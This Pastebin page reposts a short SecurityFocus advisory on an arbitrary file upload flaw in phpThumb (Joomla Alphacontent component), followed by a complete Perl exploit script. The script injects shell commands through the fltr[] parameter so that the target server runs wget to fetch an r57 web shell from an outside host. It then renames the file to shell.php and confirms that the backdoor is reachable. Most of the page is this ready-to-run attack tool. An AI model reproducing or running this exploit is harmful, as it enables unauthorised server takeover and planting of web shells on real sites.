Advertisement
Guest User

PHPThumb

a guest
Jul 21st, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.74 KB | None | 0 0
  1.  
  2. 1
  3. 2
  4. 3
  5. 4
  6. 5
  7. 6
  8. 7
  9. 8
  10. 9
  11. 10
  12. 11
  13. 12
  14. 13
  15. 14
  16. 15
  17. 16
  18. 17
  19. 18
  20. 19
  21. 20
  22. 21
  23. 22
  24. 23
  25. 24
  26. 25
  27. 26
  28. 27
  29. 28
  30. 29
  31. 30
  32. 31
  33. 32
  34. 33
  35. 34
  36. 35
  37. 36
  38. 37
  39. 38
  40. 39
  41. 40
  42. 41
  43. 42
  44. 43
  45. 44
  46. 45
  47. 46
  48. 47
  49. 48
  50. 49
  51. 50
  52. 51
  53. 52
  54. 53
  55. 54
  56. 55
  57. 56
  58. 57
  59. 58
  60. 59
  61. 60
  62. 61
  63. 62
  64. 63
  65. 64
  66. 65
  67. 66
  68. 67
  69. 68
  70. 69
  71. 70
  72. 71
  73. 72
  74. 73
  75. 74
  76. 75
  77. 76
  78. 77
  79. 78
  80. 79
  81. 80
  82. 81
  83. 82
  84. 83
  85. 84
  86. 85
  87. 86
  88. 87
  89. 88
  90. 89
  91. 90
  92. 91
  93. 92
  94. 93
  95. 94
  96. 95
  97. 96
  98. 97
  99. 98
  100. 99
  101. 100
  102. 101
  103. 102
  104. 103
  105. 104
  106. 105
  107. 106
  108. 107
  109. 108
  110. 109
  111. 110
  112. 111
  113. 112
  114. 113
  115. 114
  116. 115
  117. source: http://www.securityfocus.com/bid/64041/info
  118.  
  119. phpThumb is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.
  120.  
  121. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
  122.  
  123. Note: This BID was previously titled 'Joomla! Alphacontent Component 'phpThumb.php' Arbitrary File Upload Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected.
  124.  
  125. #!/usr/bin/perl
  126. use LWP::UserAgent;
  127. use HTTP::Request;
  128. $target = $ARGV[0];
  129.  
  130. if($target eq '')
  131. {
  132. print "======================================================\n";
  133. print " DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID \n";
  134. print "======================================================\n";
  135. sleep(0.8);
  136. print "Usage: perl exploit.pl <target> \n";
  137. exit(1);
  138. }
  139.  
  140. if ($target !~ /http:\/\//)
  141. {
  142. $target = "http://$target";
  143. }
  144.  
  145. #print "[*] Enter the address of your hosted TXT shell (ex: '
  146. http://c99.gen.tr/r57.txt') => ";
  147. #$shell = <STDIN>;
  148. sleep(1);
  149. print "======================================================\n";
  150. print " DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID \n";
  151. print "======================================================\n";
  152. sleep(1.1);
  153. print "[*] Testing exploit ... \n";
  154. sleep(1.1);
  155. $agent = LWP::UserAgent->new();
  156. $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101
  157. Firefox/14.0.1');
  158. $shell = "wget http://www.r57c99shell.net/shell/r57.txt -O shell.txt";
  159. $website =
  160. "$target/components/com_alphacontent/assets/phpThumb/phpThumb.php??src=file.jpg&fltr
  161.  
  162. []=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ;
  163. &phpThumbDebug=9";
  164.  
  165. $request = $agent->request(HTTP::Request->new(GET=>$website));
  166.  
  167. if ($request->is_success)
  168. {
  169. print "[+] Exploit sent with success. \n";
  170. sleep(1.4);
  171. }
  172.  
  173. else
  174. {
  175. print "[-] Exploit sent but probably the website is not vulnerable. \n";
  176. sleep(1.3);
  177. }
  178.  
  179. print "[*] Checking if the txt shell has been uploaded...\n";
  180. sleep(1.2);
  181.  
  182. $cwebsite =
  183. "$target/components/com_alphacontent/assets/phpThumb/shell.txt";
  184. $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite));
  185.  
  186. if ($creq->is_success)
  187. {
  188. print "[+] Txt Shell uploaded :) \n";
  189. sleep(1);
  190. print "[*] Moving it to PHP format... Please wait... \n";
  191. sleep(1.1);
  192. $mvwebsite =
  193. "$target/components/com_alphacontent/assets/phpThumb/phpThumb.php?
  194.  
  195. src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg
  196. jpeg:fail.jpg ; mv shell.txt shell.php ;
  197.  
  198. &phpThumbDebug=9";
  199. $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite));
  200.  
  201. $cwebsite =
  202. "$target/components/com_alphacontent/assets/phpThumb/shell.php";
  203. $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite));
  204.  
  205. if ($c2req->is_success)
  206. {
  207. print "[+] PHP Shell uploaded => $cwebsite :) \n";
  208. sleep(0.8);
  209. print "[*] Do you want to open it? (y/n) => ";
  210. $open = <STDIN>;
  211.  
  212. if ($open == "y")
  213. {
  214. $firefox = "firefox $cwebsite";
  215. system($firefox);
  216. }
  217.  
  218. }
  219.  
  220. else
  221. {
  222. print "[-] Error while moving shell from txt to PHP :( \n";
  223. exit(1);
  224. }
  225.  
  226. }
  227.  
  228. else
  229. {
  230. print "[-] Txt shell not uploaded. :( \n";
  231. }
  232. « Previous Exploit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement